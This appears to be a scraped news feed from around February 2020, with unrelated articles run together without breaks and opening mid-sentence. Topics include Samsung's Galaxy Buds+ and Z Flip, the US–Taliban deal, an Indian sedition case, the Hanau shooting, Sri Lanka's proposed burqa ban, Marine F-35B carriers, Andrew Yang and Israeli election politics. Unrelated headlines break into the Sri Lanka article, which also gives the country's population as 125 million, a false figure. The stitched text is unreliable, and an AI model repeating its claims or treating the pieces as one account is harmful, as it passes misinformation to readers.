variants. Which is $150. A very different price from Samsungs first pair of truly wireless earbuds that were released a few years ago. Advertisement Samsung hasnt mentioned when it would launch the red color. Though they could perhaps be available closer to the time when the physical stores (you can buy the earbuds online already) will have the earbuds for sale. That wont be until March 6 which is still a couple of weeks away. The Galaxy Buds+ officially went on sale February 14 Although you cant buy the red pair yet, the rest of the colors can be picked up from Samsung and from various other online retailers. Such as Amazon. Advertisement The earbuds went on sale back on February 14, just a few days after the announcement at Unpacked. Making these a quick turnaround for a product that was just newly unveiled. That being said the earbuds arent actually shipping yet. So all orders that are placed are really just pre-orders. Samsungs website shows that the earbuds will ship by February 24, which is this coming Monday. Meaning orders wont take too long to get out to consumers who have already purchased them. Or will do so between now and Monday. Advertisement The Galaxy Buds+ are Samsungs latest evolution of the truly wireless earbuds, with improved battery life that lasts up to 11 hours, enhanced Spotify integration, and more. Samsung is all set to give their loyal users a touch of nostalgia with their latest launch Galaxy Z Flip. Priced at Rs 1,09,999, the phone comes with a foldable design, Snapdragon 855+ processor with 8GB RAM and tons of storage along with many other features. It was inevitable but it has finally happened Samsung has created a foldable smartphone that everyone loves. Yes, thats exactly what the new Galaxy Z Flip is a flip phone style foldable channelling some old school nostalgia in a chic and functional package that appeals to all starting from the technocratic early adopter to the fashionista. Right from the get-go, Samsung gets its display right. The problem with the Galaxy Fold and every foldable before or after it has been the same the super fragile plastic OLED screen thats made of a polymer that allows the folding but also is soft making it susceptible to scratching and cracking. The Z Flip becomes the first foldable to bend real glass albeit mixed in with the polymer. This changes the feel of the screen and makes it sturdier. It is surely not as solid as a standard smartphone panel like that on your iPhone 11 Pro but sure, the technology is getting there fast. More importantly, this is the first time you can call this a usable screen. Because of the folding mechanism, there is a huge crease bang in the middle of the 6.7-inch unfolded panel. You feel it but this time around the size of the screen is right. When folded it is as pocketable as a pager from the dark ages in the 90s and when flat its slightly taller than a OnePlus 7T Pro or iPhone 11 Pro Max. It feels normal, something the ungainly Galaxy Fold never did. If youre like me who punches out long articles from the comfort of the smartphone screen then the tall and narrow aspect ratio of the Galaxy Z Flip also plays well. The super-slim glass layer also means that this phone has stunningly good haptic feedback which makes typing or for that matter doing anything on the phone very satisfying. The hinge mechanism is also quite sturdy which wasnt the case with Galaxy Fold and Samsung claims that it can withstand 200,000 folds which is equal to around 5 years of use. In 30 odd minutes of use, it is impossible to say especially after seeing the devastating desecration of Z Flip on the JerryRigEverything video but it is an improvement from what Ive seen before by a substantial degree. Again, the big takeaway is the technology is getting there fast and mostly Samsung is leading the charge because it is the sorcerer behind the magic of folding screens. The success of these screens could make or break it as they dont only fuel its own mobile and tablet business but are a part of larger component supply chain gambit for the entire industry. Design-wise, this phone looks beautiful. It has shimmery purple and gold (coming later in the year to India) colours which will appeal to women. There is also a stealthy black one which is more spartan but will attain universal appeal. On the back, there is also a tiny screen which can be used for notifications and selfies but it may be too tiny for any good use. It even has a flex mode where the device can be propped in an L-shape like a laptop where women can take selfies, use the front camera to do makeup or be more productive like do Google Duo calls or watch YouTube videos in the top half of the screen and go through the comments on the bottom half. Samsung hasnt just given a flip phone with Android here like Motorola; it worked with Google to customise the interface of Android for this form and a lot of that work flows into the Android 11 developer preview which also landed a few days ago. Core hardware of this phone is also good though not in the Galaxy of the inbound S20. Youre getting the Snapdragon 855+ processor with 8GB RAM and tons of storage which is top class by even 2020 standards. Youre getting twin 12-megapixel cameras including an ultra-wide one and they perform almost the same as the Galaxy Note 10+ which is code for them being really good. Selfie addicts also get a punch-hole camera if you want to take a traditional selfie. The 3,300mAh battery could be worrisome as it is not massive by any measure but again compared to the Motorola Razr which is the other flip-style foldable arriving in India, it is huge. Still, dont bet on great battery life, though Im sure Samsung is betting that you will have the screen folded inwards so you wouldnt need as bigger juice pack in the gadget. All in all, based on my 30 odd minute assessment (as Samsung didnt provide a review unit), this seems like the most polished foldable smartphone yet. Economically speaking as well at Rs 1,09,999 it isnt as expensive as some of the other products that have landed and in use comes with the least number of compromises. While doing so, it channels nostalgia repackages it with futuristic technology and chic design. It will be the one Android phone everyone will want but few will be able to afford. For all the latest Gadgets News, download NewsX App The United States is preparing to sign a deal with the Taliban on February 29, building on an agreement on reducing violence across Afghanistan, Secretary of State Mike Pompeo said Friday. Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward, he said in a statement released after visiting Saudi Arabia. A week-long reduction in violence between the Taliban, the US and Afghan security forces will commence shortly, Afghanistans National Security Council spokesman Javed Faisal told AFP on Friday. The partial truce will mark a historic step in more than 18 years of gruelling conflict in Afghanistan and would pave the way for a deal that could, ultimately, see the war end. Pompeo said that intra-Afghan negotiations would begin shortly after the February 29 signing, expected to take place in the Qatari capital Doha. They will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan, he said. The US top diplomat said that challenges remain, but that progress made so far provides hope and represents a real opportunity. The United States calls on all Afghans to seize this moment. Amulya Leona's father and small-time Janata Dal (Secular) leader Oswald Naronha said that he condemned his daughter's act of raising the 'Pakistan Zindabad' slogan during an anti-CAA rally in Karnataka. Reacting to Amulya's detention and subsequent judicial remand, he condemned the act and said that "the guilty should be punished as per law". He also claimed that he had tried advising Amulya many times but she does not heed his advice. Amulya Leona is a 24-year-old student of journalism from a local college in Bengaluru. She hails from Koppa village of Chikmagalur and is part of the group "Hum Bharat ke Loag". She came into limelight when she raised the 'Pakistan Zindabad' slogan during an anti-CAA rally organised by AIMIM in Karnataka on Thursday. Amulya ran to the podium and upstaged AIMIM president Asaduddin Owaisi's speech. Later, Owaisi too condemned the act. "I immediately rushed to her, and told her that 'I will not tolerate this nonsense'. I don't even know who this lady is," he said. Amulya has been detained by the police and sent to 14-day judicial custody, she was earlier denied bail. Leone will be kept in judicial custody till the matter comes up before the local court on Monday. A case has been registered under Section 124A (Offence of sedition) of the Indian Penal Code against Amulya. Over the insistent call for the resignation of President Muhammadu Buhari for rising insecurity issues, the Minister of Information and Culture Lai Mohammed has reinstated that the president will not resign till the end of tenure by May, 2023. The President will not resign but will remain in office till the end of his overwhelming mandate he said. He claimed that incendiary and reckless comments by some Nigerians, especially religious leaders, are capable of aggravating the nations security crisis and that such persons should hold their breath. The minister accused Amnesty International (AI) of providing succour for terrorists by attributing their atrocities to Nigerian troops. The government enjoined those making unsavoury comments to be part of solutions to the insurgency in the country which it said was being tackled headlong. The minister said: As I said earlier, the country is facing security challenges and the challenges are being tackled headlong. However, there have been some red herrings in recent times, including those calling for the resignation of Mr. President or the sack of the security chiefs. I just want to say that the government, which has provided and continues to provide the military and the security agencies with the wherewithal, believes in their ability to tackle insecurity. These challenges will be successfully tackled. I will however advise all commentators, especially political and religious leaders, to be very careful at this time not to aggravate the situation with incendiary comments, comments that cash in on our religious, ethnic and political fault lines to further divide us. The kinds of comments that have been attributed to some leaders, especially religious leaders, are incendiary and reckless. Leaders should be part of solutions to problems, rather than aggravating situations. To those asking Mr. President to resign, I wish to say this: Mr. President will not resign. He has the overwhelming mandate of Nigerians to preside over the affairs of the country till the expiration of his tenure in May 2023. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates German officials believe that the gunman who committed two shootings in Hanau City in West Germany on Wednesday, Feb. 19, acted out of racism, according to German Chancellor Angela Merkel. Officials gathering information and evidence said that the suspect, identified as Tobias Rathjen, a 43-year-old German citizen, had allegedly posted a video before the murders. The BBC indicated, the suspect displayed right-wing conspiracy theories in both the video as well as in a confession letter that he left behind, indicating that a racist motive was involved. Also, officials are looking into a website attributed to the suspect. According to Hesse Interior Minister Peter Beuth, while the indication of a racist motive is there whether there are claims of responsibility or documentsthats still being investigated. The news outlet reported that there was growing concern regarding attacks like these. In response to the killings, and amidst the concern regarding right-wing extremist attacks like the one on Wednesday, Merkel stated, Racism is a poison; hate is a poison. This poison exists in our society, and it is to blame for too many tragic events. Merkel offered her condolences to the friends and family of the victims of Wednesdays attack, saying, The deep pain felt by people in Hanau today over the violent deaths of so many fellow citizens is a pain I also feel personally, and a pain felt across the country. My thoughts are first and foremost with the families and friends of those murdered. This marked one of the deadliest shootings in Germany since a mass killing in Munich in 2016, in which nine people died, according to Washington Post. Shooting Incident In an earlier report, the shooting on Wednesday resulted in the death of nine individuals and five injured in Hanau city, located just 15 miles away from Frankfurt. The suspect entered a shisha bar and opened fire. Witnesses recalled hearing around eight to nine shots fired. Following that initial attack, the suspect drove to another locationthe citys Kessselstadt neighborhood and opened fire in another shisha bar. He escaped again after the second shooting. Fox News reported that all of the victims of the Wednesday shooting were, reportedly, of Kurdish descent. Police quickly responded to both scenes, giving medical attention to the injured and assessing the situation. Authorities also sealed off the areas where the crime occurred, Not far from the scene of the second shooting, officers found the bodies of the Tobias Rathjen, the individual who authorities believed to be the suspect, along with his mother, both dead. Washington Post also reported that Rathjens father was found outside his home, unharmed. Chicago, Feb 21 : General Motors (GM) on Thursday launched the Chevrolet Menlo sedan in China, the brand's first fully electric vehicle in the world's largest EV market. The sporty-looking hatchback was also the third EV that GM rolled out in China, following the Buick Velite 6 EV and Baojun E-series, all produced by joint-venture partnerships in China, the Xinhua news agency reported. According to GM, the Chevrolet Menlo will be initially offered in Beijing, available in four variants priced from 1,59,900 yuan to 1,79,900 yuan ($22,800 to $25,700) after national subsidies for new energy vehicles. "Along with being a new energy vehicle, the Chevrolet Menlo inherits Chevrolet's sporty DNA that dates back to its founding by race car drivers," said Scott Lawson, general director of Chevrolet for SAIC-GM, a Shanghai-based joint venture. "It will meet the performance and styling demands of our customers and at the same time provide the efficiency that new energy vehicle owners expect," he added. Based on the concept vehicle of Chevrolet FNR-X, Chevrolet Menlo has a constant-speed range of up to 410 km under New European Driving Cycle (NEDC) conditions on a single charge. GM outlined its "All-Electric Path to Zero Emissions" in October 2017, and announced a new electric offensive with 20 new all-electric vehicles to launch by 2023. In the rapidly expanding Chinese EV market, which saw half of the world's total sales, GM now faces fierce competition not only from local brands and European automakers, but also the American EV giant Tesla. Tesla started delivering Model 3s made in its Shanghai Gigafactory at the end of last year. WASHINGTON, Feb. 21, 2020 /PRNewswire/ -- There was a vital conservation win for a critically endangered species of shark this week at the 13th Conference of the Parties (CoP) of the UN Convention on the Conservation of Migratory Species of Wild Animals (CMS) in Gandhinagar, India, as governments accepted the proposal to list the oceanic whitetip shark for protection. Once considered one of the most common tropical sharks in the world, the oceanic whitetip is now one of the most endangered. Attending government representatives from the 130 member parties to CMS accepted by consensus Brazil's proposal to list the oceanic whitetip shark on Appendix I of CMS the highest level of protection possible to prohibit catch of the species throughout its range. Megan O'Toole, IFAW's Senior Programme Manager, International Policy, welcomed the decision, saying: "We are very pleased to see an Appendix I listing awarded to the oceanic whitetip shark. Decades of unmanaged overfishing, driven by international demand for shark fin soup, has caused the population to be decimated throughout its range. "With its IUCN Red List status updated last December to Critically Endangered, and losses averaging a shocking 98 to 100% worldwide, governments at this meeting clearly recognised the urgent need for better global protection." In other efforts to address the severe population declines of these apex predators, which play a crucial role in marine ecosystems, all major Regional Fisheries Management Organisations (RFMOs) prohibit the catch and retention of oceanic whitetips in their waters. In addition, the species was listed in Appendix II of CITES (Convention on International Trade in Endangered Species) in 2013. Although it can't be legally caught or retained by most regional fisheries management organisations it may still yet go extinct if governments across the world fail to fully implement these regulations. O'Toole added: "An Appendix I listing is designed to bolster existing protections and highlight the continued catch and decline of this species. IFAW believes this listing for oceanic whitetip sharks will strengthen the measures already put in place to protect them and also may fill in current management gaps and add an additional legal obligation for domestic protection." A CMS Appendix I listing, however, is just the first step to save species whose populations are as endangered as the oceanic whitetip. Currently, only 28% of CMS Parties have fully implemented protections for other Appendix I-listed sharks. As a crucial safeguarding agreement for endangered migratory shark species, global implementation of this legally binding agreement is critical to prevent further risk of extinction. IFAW and partner NGOs discussed this issue with CMS Parties at CoP13, offering capacity and technical support to governments looking to manage effectively CMS-listed sharks. The future of many other migratory species will be affected by decisions taken at this meeting, which began on Monday and is scheduled to run until Saturday (22). Other key species also listed for protection today include the Asian elephant and the jaguar. For more information or to arrange interviews with IFAW experts in Gandhinagar please contact Clare Sterling on mobile +44 (0)7917 507717 or email [email protected]. Skype interviews can be arranged on request. About the International Fund for Animal Welfare (IFAW) - The International Fund for Animal Welfare is a global non-profit helping animals and people thrive together. We are experts and everyday people, working across seas, oceans and in more than 40 countries around the world. We rescue, rehabilitate and release animals, and we restore and protect their natural habitats. The problems we're up against are urgent and complicated. To solve them, we match fresh thinking with bold action. We partner with local communities, governments, non-governmental organisations and businesses. Together, we pioneer new and innovative ways to help all species flourish. See how at ifaw.org SOURCE International Fund for Animal Welfare Related Links http://www.ifaw.org Twelve members of an armed group died in a clash with UN peacekeepers and government troops as they tried to enter a city in northeastern Central African Republic (CAR). The fighting erupted on Sunday after the Popular Front for the Rebirth of Central Africa (FPRC) entered the flashpoint town of Birao before being repelled, government spokesman Ange-Maxime Kazagui said in a statement on Tuesday. The UN force MINUSCA, in a statement, said heavily armed FPRC fighters entered the town of Birao before being pushed back. Birao is held by the Movement of Central African Liberators for Justice (MLCJ), a rival militia The FPRC is one of the largest armed groups in the CAR, a landlocked impoverished country where militia groups control most of the territory, often fighting for control over resources. Last week, MINUSCA asked France to send warplanes over Birao to dissuade the FPRC from mounting an attack, the UN forces spokesman, Vladimir Monteiro, had said. A parliamentary committee on national security matters in India's friendly country Sri Lanka has recommended a ban on wearing the burqa with immediate effect in the country. The committee has also proposed to cancel the registration of political parties formed on religious grounds. According to local media, the report of this committee was presented in the Parliament of Sri Lanka on Thursday. It contains 14 disputed proposals, including banning the burqa. Big statement of Computer Baba says 'The way Shivraj government dug up rivers in 15 years ...' It is believed that all the above proposals seem to have been taken in view of the terrorist attack on the occasion of Easter in April last year. The report, presented by the National Security Committee chairman Malit Jayatilak in Parliament, mentioned many countries where the burqa has been banned. In this, the police have been advised to give the right to identify people by removing the mask in public places. There has also been a demand to give the right to arrest for not removing the mask. Donald Trump's advisor sentenced for 40 days imprisonment Parliamentary Committee has also advised the government that children studying in madrasas should be put in normal schools under the Ministry of Education. It is worth mentioning that in Sri Lanka, with a population of 125 million, there are about ten percent Muslims. There are also 12 percent Hindus in this island country. In Sri Lanka last year, on the occasion of Easter, there were bombings in three churches and luxury hotels in which 321 people were killed and more than 500 were injured. 38 foreigners including 10 Indians are among those killed. The blasts took place during the Easter prayer meeting at 8:30 am on 21 April at St. Anthony's Church in Colombo, St. Sebastian's Church in the western coastal city of Negombo and the Church of Batticaloa. The other three bomb blasts took place at five-star hotels Shangrila, The Cinnamon Grand, and The Kingsbury. China: Cases of Corona Virus reported in jails Photo credit: U.S. Marine Corps Photo by Lance Cpl. Dana Beesley From Popular Mechanics The U.S. Marines claim that their ability to turn amphibious ships into aircraft carriers is a major advantage on the battlefield. Amphibious ships, though not full-fledged aircraft carriers, can carry up to 20 F-35Bs. The ability to mount different types of attacks on an adversary using the same ship platform complicates the enemys ability to mount an effective defense. The U.S. Marines are touting the ability to quickly reconfigure an amphibious assault ship into a mini-aircraft carrier carrying up to 20 F-35B Lightning II fighters. The Wasp and America-class ships, both 840 feet long, can carry a Marine landing force or two squadrons of the fifth-generation jets, alternating between the two in a matter of days. The result, the Marine Corps claims, is an unpredictable force that a wartime enemy will find difficult to counter. The Marines, according to Business Insider, consider the Lightning carrier concept a game changer. The USS Wasp and USS America-class amphibious assault ships can both carry between 16 and 20 F-35Bsthe vertical takeoff and landing version of the F-35 Joint Strike Fighter used by the U.S. Marine Corps. The ships both have full-length flight decks, hangars, and stores for fuel and munitions that allow them to typically carry about half a dozen F-35Bs. If the ships delete their normal complement of helicopters and MV-22 Osprey tiltrotors, they can carry more than three times as many F-35Bs. Photo credit: U.S. Navy photo by Mass Communication Specialist 1st Class Daniel Barker The Marines have tested the Lightning carrier concept several times. In November 2016, USS America conducted exercises off the coast of California with 12 F-35Bs embarked, twice as many as usual. In 2019 the Japan-based USS Wasp deployed into the South China Sea with at least 10 F-35Bs. China has issued warnings it considers up to 90 percent of the South China Sea a Chinese territory and has built numerous artificial islands bristling with missiles, fighter jets, and radars that would become targets for the Marines in the event of war. There are currently eight Wasp-class ships and one America-class, with more ships of the latter planned or under construction. Story continues The Lightning carrier can create an ad hoc carrier during wartime while the U.S. Navys Nimitz and Ford-class supercarriers are tied up elsewhere. Alternately a Lightning carrier could sail alongside such a supercarrier, adding up to 20 more fighter jets to the supercarriers 44 jets. Thats almost a 50 percent increase in fighter planes. Lightning carriers do have their disadvantages. The Wasp and America-class ships are built to normally carry helicopters, tiltrotors, and fighters, and deploying three times as many fighters as the ship was meant to carry could create supply problems, especially in terms of fuel and munitions. The America-class ships, built with expanded aviation services at the expense of the ability to land Marines by sea, would be considerably better in supporting a large number of F-35Bs. Photo credit: U.S. Navy photo by Mass Communication Specialist 2nd Class Anthony J. Rivera Lightning carriers also lack catapults and arresting gear, meaning the ship cant embark Navy aircraft such as the E-2D Hawkeye airborne early warning plane, EA-18G Growler electronic attack jet, and the planned MQ-25A Stingray unmanned tanker. These aircraft extend the detection range of a carrier, escort strike fighters into enemy territory, and extend the range of embarked fighters. A Lightning carrier could benefit from such planes by sortieing alongside a supercarrier. In strategic sense, the Lightning carrier ability complicates an adversarys ability to defend against a Marine force. If an adversary with a coastline knew a Wasp or America-class ship were in the area, they would need to prepare for the possibility of an amphibious attack. Thanks to the Lightning carrier concept, they would also have to array their forces to defend against the possibility of heavy air attack by F-35Bs. Defending against one threat is different than defending against the otherand that's the point. You Might Also Like BANGKOK - A legal aid group in Thailand says police have arrested a 20-year-old college student for allegedly posting messages on Twitter considered derogatory to the countrys monarchy. The group Thai Lawyers for Human Rights said Friday that 10 police detained the student at his home in the eastern province of Chonburi on Wednesday for offences under the Computer Crime Act. Criticism of the monarchy is punishable by three to 15 years imprisonment under a lese majeste law, but in recent years people accused of such actions have been arrested more frequently under the computer crime law, which covers acts endangering public disorder and national security. The lawyers group said the students detention originated with an investigation into a group or individual holding anti-monarchy views. The student allegedly tweeted under the name Anonymous in Thai, and was traced with the help of a mobile phone service operator. Pavinee Chumsri, a member of the lawyers group, said the student acknowledged posting the tweets, possibly out of fear of facing more serious charges. He and his parents have decided that the best course of action is to co-operate with the police officers, she said. Pavinee declined to provide the students name for privacy reasons. She said there were several concerning aspects to the case, including the lack of an arrest warrant, the absence of a lawyer when he was being interrogated, and the denial of bail even though he has been co-operating with police. Most Computer Crime Act defendants are granted bail, according to the group. Andrew Yang has hinted at another run for the presidency after posting a picture of a 2024 sticker and writing 'we'll be back' on Twitter today. The presidential hopeful officially dropped out of the Democrat race on February 11 to calls of his loyal crowd chanting '2024!'. While Yang never pulled himself out of the single digits in national polls, he attracted hoards of internet-savvy young supporters who called themselves the #YangGang. After giving his fans a tease of his future plans today, many of the #YangGang responded to show their support, altering his 2020 campaign merchandise or remodeling it altogether. On Twitter today, Andrew Yang, prior Democrat candidacy hopeful, posted a pictured of a 2020 sticker altered to show 2024 In this 7 February, 2020, photo, Democratic presidential candidate entrepreneur Andrew Yang speaks during a Democratic presidential primary debate at Saint Anselm College in Manchester, N.H Nate @SoCalYangGang posted a picture of a Yang 2020 bumper sticker with a four scribbled over the zero. 'Like you didn't do this lol,' he said. Dani Leis used a different tact and Photoshopped Yang's current banner to give it a makeover. Many of the #YangGang responded to show their support today, altering the entrepreneur's 2020 campaign merchandise or remodeling it altogether Michael Leach drew for an A-Team GIF to pledge his support to Yang, who has now been employed as a political commentator for CNN. 'I pity the fool that isn't on board with this,' Leach tweeted. Noodylord followed a similar route, showing characters from the Simpsons in a group hug scenario, with 'YANG-GANG LOVE' bannered across the bottom of the image. The entrepreneur made the centerpiece of his campaign the quest to get Americans a 'universal basic income,' which Yang dubbed his 'freedom dividend.' The idea was to give Americans an income of $1,000 a month to which they could do with it whatever they wanted. I pity the fool that isn't on board with this pic.twitter.com/SALl0HYaw9 Michael Leach aka Spider-Mang (@mang_spider) February 21, 2020 Yang broke barriers as the first formidable Asian-American presidential candidate. And for two debates - in December and February - he was the only person of color onstage. Yang also got the attention from a number of celebrities. He got the endorsement of edgy comedian Dave Chappelle, who brought Yang onstage at an event at the University of Iowa last month and hosted two comedy shows in South Carolina for the candidate earlier this month. In Los Angeles he raised funds by selling campaign merchandise - like hoodies and T-shirts - that was a design collaboration with Childish Gambino. Taking inspiration from the company Supreme, Yang's campaign set a pop-up shop in Los Angeles letting several supporters in at a time, which created lines stretching blocks away and viral attention for Yang's candidacy. The #YangGang ultimately showed they were behind the entrepreneur's plan to run again in 2024. Dr. Phil Batman said: 'It's gonna happen. You WILL be our first Asian president.' Yang announced he was suspending his campaign as the results of the New Hampshire primary trickled in, putting him in eighth place in the Granite State. Minutes after Yang gave his final campaign speech, Sen. Michael Bennet of Colorado announced he was dropping out of the race too, becoming the 20th Democrat to do so. In the days leading up to the New Hampshire primary Yang hinted that he might have to drop out soon - as he needed funds and more substantial support to carry on. Australia's recently departed top spy Duncan Lewis has joined the ranks of defence giant Thales. Mr Lewis, who retired as the head of domestic spy agency the Australian Security Intelligence Organisation last year, has been appointed to the board of the Australian arm of the French manufacturer. ASIO's former Director-General of Security Duncan Lewis is joining the Thales Australia board. Credit:AAP It is the latest example of senior public servants and cabinet ministers going into industries in which they presided over in government, after former defence minister Christopher Pyne landed a defence-focused consultancy role with EY and former foreign affairs minister Julie Bishop took a gig with aid contractor Palladium. Mr Lewis was head of ASIO between 2014 and 2019 following a career that included roles as commander of Australia's special forces, national security advisor, secretary of the Department of Defence and ambassador to Belgium, the European Union, Luxembourg and NATO. Renowned Journalist, Kwami Sefa Kayi has strongly condemned a violent clash between NPP supporters of former Member of Parliament for Mampong, Francis Addai-Nimoh and incumbent MP Sarpong Ampratwum. Francis Addai-Nimoh, was reportedly prevented by the supporters of the incumbent MP from filing his nomination forms to contest the partys primary. This resulted in a brawl that injured some of the supporters. Reacting to this in an interaction with Dan Kweku Yeboah during the Sports segment of Peace FM morning show 'Kokrokoo', Kwami Sefa Kayi said: "there is no sense in this...did you see any family member of the politician you are fighting for at the scene? All because of politicseverything has been politicized in the country; how can we run a country like this? Meanwhile, the wife and family members of those you are fighting for are comfortable in their homes...very stupid" Listen to their interaction in the video below Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video BAKU, Azerbaijan, Feb. 21 By Elchin Mehdiyev Trend: As part of the Year of Volunteers 2020 declared in Azerbaijan, with organizational support of New Azerbaijan Party (YAP), a meeting of volunteers of YAP was held, Trend reports. The meeting was attended by the Deputy Chairman - Executive Secretary of YAP Ali Ahmadov, YAP board, members of the YAP Political Council and youth. At the beginning of the meeting, a video footage on the work done in Azerbaijan in connection with the volunteer movement was shown. Further, Chairman of the YAP Youth Union Seymur Orujov made opening remarks. He spoke about the work carried out in the country in the direction of the development of the volunteer movement in recent years. Orujov said that the First Vice-President of Azerbaijan Mehriban Aliyeva and the Vice-President of the Heydar Aliyev Foundation Leyla Aliyeva have done extensive work towards the development of volunteer activities in the country. The number of volunteers is already measured in hundreds of thousands. They played an invaluable role in the implementation of numerous international projects, Orujov added. During the event, the chairmen of youth associations of the YAP regional organizations spoke about volunteer activities, informed the participants in detail about projects implemented with the participation of volunteers. Then a group of young members of YAP was awarded with diplomas for their active participation in the elections as volunteers. Until a few weeks ago, Prime Minister Benjamin Netanyahus campaign tactic was to help the far-right Otzma Yehudit (Jewish Power) garner enough votes to enter the Knesset and thereby ensure a 61-seat majority for his right-wing, ultra-Orthodox bloc of parties. The partys racist agenda did not matter to Netanyahu as long as it helped him hold on to power. It was reported on Feb. 13 that Netanyahus close associate Natan Eshel had even tried to persuade the ultra-Orthodox Yahadut HaTorah to instruct some of its followers, members of the smaller Hasidic courts, to vote for Otzma Yehudit, as if the Hasidim were tradable commodities. Eshel also reportedly appealed to senior religious Zionist rabbis, asking them to express public support for Otzma Yehudit rather than Yamina, their home party. Nothing transpired from the outreach to Yahadut HaTorah, and polls commissioned by the Likud showed that in any case the small Otzma Yehudit will only be wasting right-wing votes if it runs in the March 2 elections, as it would still not have enough support to get into the Knesset. On Feb. 18, reports emerged that the Likud was exerting strong pressure on Rabbi Dov Lior, one of the most radical religious Zionist rabbis, to convince Otzma Yehudit Chair Itamar Ben-Gvir to drop out of the race. Ben-Gvir, however, has stood his ground. Not only does he not intend to bow out, he is offering his voters a worthwhile deal: Vote Otzma Yehudit, and I'll protect Netanyahu. Billboards and other campaign ads make no mention of Otzma Yehudits fascist ideology, its hatred of Arabs, its xenophobia and or its loathing of the political left. Instead, the message is simple: Without Otzma Yehudit, a right-wing coalition government is impossible, or put another way, Netanyahu will not be able to continue as prime minister, so if you want him to remain in power, vote Otzma Yehudit. Two for the price of one. Viewed from another angle, Otzma Yehudit will unreservedly back the person who is now doing all he can to prevent its running for election to the Knesset. This is a strange relationship between friends. One side is trying to subvert the other, which, in turn, is offering love and support. Ben-Gvir did not craft this strange formula. All the right-wing and ultra-Orthodox parties appear to be under the same spell as their leaders, blindly following Netanyahu, who appears to have convinced their voters that he is the be all and end all. Take for example Yamina, the alliance of right-wing parties led by Defense Minister Naftali Bennett. Netanyahu has relentlessly bashed Bennett and humiliated him at every turn (although in a moment of weakness he did give Bennett the job overseeing the Defense Ministry last fall). He has sent emissaries to religious Zionisms prominent rabbis to exhort them to withdraw their support for Bennett, but like some kind of indentured servant, Bennett is unable to escape Netanyahus clutches. Has anyone ever seen an election campaign anywhere in which the representative of a competing party campaigns for the head of another party? Look no further than Yamina's. In recent days, Yamina has begun posting Bennetts photo alongside Netanyahus under the caption Only a strong Yamina will ensure that sovereignty is imposed [on the settlements] and will prevent the establishment of a Palestinian state. What if a voter were to ask why he or she should vote for Yamina when they can vote for the original, Netanyahus Likud? Only Bennett knows the answer to that question. Yamina and Bennett do not have a copyright on this weirdness, of course. The ultra-Orthodox Shas adopted Vote Shas, Protect Netanyahu as its slogan. What happened to the social equality messages of the party founded by the late Rabbi Ovadia Yosef to fight discrimination against Jews of Sephardi origin? All that remains of that agenda is the struggle for one man, who is not even the party leader, Benjamin Netanyahu. The same thing occurred during the two election campaigns in 2019, with Shas billboards featuring photos of party leader Aryeh Deri alongside Netanyahu and the caption Bibi [Netanyahu] needs a Strong Aryeh, playing on the Hebrew word for lion. Yahadut HaTorah, Shas Ashkenazi ultra-Orthodox rival, is also committed to Netanyahu. While it doesn't fly posters and banners bearing the prime ministers photo, the fact that Netanyahu took the liberty of offering to trade the partys voters to boost Otzma Yehudit proves the extent to which he has the party in his thrall. There is no magic involved, or divine intervention, in the pathetic attempts by the ultra-Orthodox, right-wing bloc to elevate Netanyahu to sainthood. The explanation for their devotion lies elsewhere. Since Netanyahu was first elected in 1996, he has been willing to give the ultra-Orthodox parties whatever they want. He forged a political alliance with Rabbi Yosef early on. A secular Jew who does not observe the Sabbath and sometimes eats non-Kosher food, Netanyahu has given Shas what it wants more than anything. Money. Lots of money for its institutions. In addition to funding, there is also the matter of right-wing ideology. Shas was never a right-wing party, and Rabbi Yosef was a pragmatist. After he died, Shas converted and adopted a right-wing ideology under Netanyahus influence. As in the case of the right-wing parties representing West Bank settlers, the term Greater Land of Israel is no longer a foreign concept to Shas. This shift trickled down into the party ranks under Netanyahus guiding hand and became underpinned by the leaning of its Mizrahi voters to the right and their opposition to a Palestinian state. As far as they are concerned, Netanyahu is the man who will realize the vision of the right and preserve Rabbi Yosefs legacy. That's why Shas will protect Netanyahu to the end. Meanwhile, Netanyahu will keep the money flowing and dare not do anything to undermine the religious-Orthodox status quo. Netanyahu also enjoys a strong alliance with the settlers. From his first day in power, he has done all he can to guarantee their allegiance. Their leaders and rabbis enjoy unfettered access to the Prime Ministers Office, and Netanyahu always endeavors to avoid angering them, sometimes to a ridiculous extent. For example, in 2012 the Supreme Court ordered the destruction of buildings erected illegally, on private Palestinian lands, in the Ulpana Hill neighborhood of the Beit El settlement. Netanyahu came up with an amazing solution: dismantle the buildings block by block and reassemble them elsewhere, budgetary considerations be damned, as long as the settlers wouldn't have to endure the demolition of an illegally constructed house. Now, after all those years of giving, Netanyahu is asking for a return on the (states) money, and the right-wing and ultra-Orthodox parties are willing, motivated by calculated, short-term political considerations. After the elections, Netanyahu will face a criminal trial, starting March 17, on charges of corruption, and will certainly be in an even more generous mood toward his allies to retain their support and form the next government. Anything to keep the give-all and take-all alliance intact. By PTI BEIJING: China on Friday praised close-ally Pakistan's "enormous efforts" in combating terror financing and played down reports that it backed India and other countries against Islamabad at the just- concluded FATF meeting in Paris that retained the country in the Grey List. Asked about reports that China has joined India and other countries in sending a strong message to Pakistan and urging it to fulfil its commitments to fight terror financing and money laundering, Foreign Ministry spokesman Geng Shuang told an online media briefing here that the Financial Action Task Force meeting has decided to give Pakistan more time to implement its action plan on money laundering and terrorist financing. "China's position on the relevant issue remains unchanged. Pakistan has made enormous efforts in improving its counter-terror financing system, which has been recognised by the vast majority of the FATF members at its latest plenary meeting concluded on February 20 in Paris," he said. "It was decided at the meeting that Pakistan will be allowed more time to continue implementing its action plan," Geng said, a day after Pakistan Prime Minister Imran Khan spoke to Chinese President Xi Jinping. During the telephonic conversation, the two leaders agreed to step up communication and exchanges at the highest level to strengthen Pakistan-China all-weather strategic cooperative partnership. China said it stands ready to work with relevant parties to offer more assistance to Pakistan in its efforts against terrorism. "China maintains that the purpose and aim of the FATF is to support countries' efforts to strengthen institutions against money laundering and terror financing and safeguard international financing system," the spokesman said. ALSO READ | FATF continues to put Pakistan in 'Grey List', warns of action if it fails to check terror funding The Paris-based FATF, which supervises effective implementation of legal, regulatory and operational measures for combating money laundering, terrorist financing, during the meeting decided continuation of Pakistan in the "Grey List". The FATF decided to maintain Pakistan's status on its 'Grey List' of 